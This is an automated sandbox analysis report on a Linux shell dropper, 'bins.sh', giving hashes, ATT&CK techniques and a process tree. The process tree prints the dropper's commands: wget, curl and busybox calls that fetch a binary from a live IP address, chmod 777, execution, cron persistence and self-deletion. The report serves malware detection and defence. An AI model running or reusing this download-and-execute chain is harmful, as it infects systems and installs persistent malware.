9eb63f75269e3be040c497aad4469eb0d59ae9c665ed79d2f0f839b9ef83f696

Analysis

max time kernel
149s
max time network
150s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
24-11-2024 01:27

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bins.sh
Size

10KB
MD5

fa2704f69bcefd901e2e3ca063a3a8d9
SHA1

064f497aaf9573107f8b373e608dee54df2a205d
SHA256

9eb63f75269e3be040c497aad4469eb0d59ae9c665ed79d2f0f839b9ef83f696
SHA512

ad625e97d0c8cb40831213ece86efd36c94272d47e849119364ca732b26dbb581c1369918951dbee458d5672a71d4b80926b881d8404ecd70389f897bbdafffa
SSDEEP

192:mTXvv7q7z3W7fQ7XHXzXOHvc7frq7z3xDmDaDguxxtpJnJ1JdJmvLw7Ftxm43YQA:5jL3zOHvcyBOigKLTmvLwRNRJOigg3zg

Score

9^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (2159) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmod

pid	Process
1502	chmod

Executes dropped EXE 1 IoCs

Processes:

oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy

ioc	pid	Process
/tmp/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy	1503	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy

Renames itself 1 IoCs

Processes:

oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy

pid	Process
1504	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.1aAOWR	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy

description	ioc	Process
File opened for reading	/proc/1608/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1684/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1760/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1817/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1159/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1291/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1512/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1554/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1689/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1642/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/85/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1249/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1300/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1562/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1711/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1732/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/84/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1008/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1540/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/159/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1127/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1489/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1567/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1623/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/3/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/8/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/89/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1750/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1772/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1769/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1839/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/19/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1749/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1767/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/20/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/402/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1782/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/14/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/162/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1185/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1280/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1725/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1832/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/98/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1857/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1754/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/115/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1178/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1611/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/981/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1516/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1576/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1250/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1336/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1702/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1747/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1038/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1155/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1695/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1561/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1614/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1654/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1753/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

Processes:

busyboxwgetcurl

description	ioc	Process
File opened for modification	/tmp/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy	busybox
File opened for modification	/tmp/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy	wget
File opened for modification	/tmp/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1492
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1493
- /usr/bin/wget
  wget http://87.120.125.191/bins/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
  2⤵
  - Writes file to tmp directory
  PID:1494
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
  2⤵
  - Writes file to tmp directory
  PID:1500
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
  2⤵
  - Writes file to tmp directory
  PID:1501
- /bin/chmod
  chmod 777 oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
  2⤵
  - File and Directory Permissions Modification
  PID:1502
- /tmp/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
  ./oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1503
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1505
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1506
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1507
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1508
- /bin/rm
  rm oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
  2⤵
  PID:1510
- /usr/bin/wget
  wget http://87.120.125.191/bins/7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
  2⤵
  PID:1513

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/var/spool/cron/crontabs/tmp.1aAOWR

Filesize
210B

MD5
d173e5c277d9d496cb3abf1ebbd1d2f5

SHA1
b9d54eb3bfb3e536c309264080401122d4aa0e4a

SHA256
ffbfb0f67d37924eb893b7c12a7e237d338faad23737a368a1ee02edb5283950

SHA512
4fa9fac249f8aaf35638839696ff789a1ef2285f15a4ddf1ffd65a29ca5a88b7bfe08074e6fbc356d8b34130b3280f67ccd1e886abfbc06c6163dbd29514d1dc

Download Submit